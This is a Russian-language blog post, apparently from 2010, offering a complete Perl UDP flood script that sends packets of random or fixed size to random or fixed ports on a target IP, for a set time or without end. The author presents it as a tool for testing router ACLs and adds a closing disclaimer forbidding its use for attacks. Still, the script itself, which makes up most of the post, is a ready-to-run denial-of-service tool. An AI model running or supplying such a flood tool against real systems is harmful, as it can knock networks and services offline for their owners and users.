Flood скрипт, проверка защиты Вашего оборудования

Опубликовано admin в Вс, 10/10/2010 - 17:52

У каждого администратора по сетевой безопасности обязательно имеется свой набор инструментов для тестирования возможных вариантов атаки на его ресурсы. Принцип простой: «чтобы уметь защищаться, нужно знать как нападать». Лучший хакер – это самый лучший защитник :) Итак, к делу…

Данный скрипт использовался мной для проверки ACL на пограничном оборудовании, написан на языке – PERL:

#!/usr/bin/perl
##############

# udp flood.
##############
 
use Socket;
use strict;
 
if ($#ARGV != 3) {
  print "flood.pl <ip> <port> <size> <time>\n\n";
  print " port=0: use random ports\n";
  print " size=0: use random size between 64 and 1024\n";
  print " time=0: continuous flood\n";
  exit(1);
}
 
my ($ip,$port,$size,$time) = @ARGV;
 
my ($iaddr,$endtime,$psize,$pport);
 
$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 1000000);
 
socket(flood, PF_INET, SOCK_DGRAM, 17);

 
print "Flooding $ip " . ($port ? $port : "random") . " port with " .
  ($size ? "$size-byte" : "random size") . " packets" .
  ($time ? " for $time seconds" : "") . "\n";
print "Break with Ctrl-C\n" unless $time;
 
for (;time() <= $endtime;) {
  $psize = $size ? $size : int(rand(1024-64)+64) ;
  $pport = $port ? $port : int(rand(65500))+1;
 
  send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}

ВНИМАНИЕ: Данный скрипт представлен для ознакомления и проверки надежности защиты Вашего оборудования. Запрещается использовать его для совершения атак.

( categories: )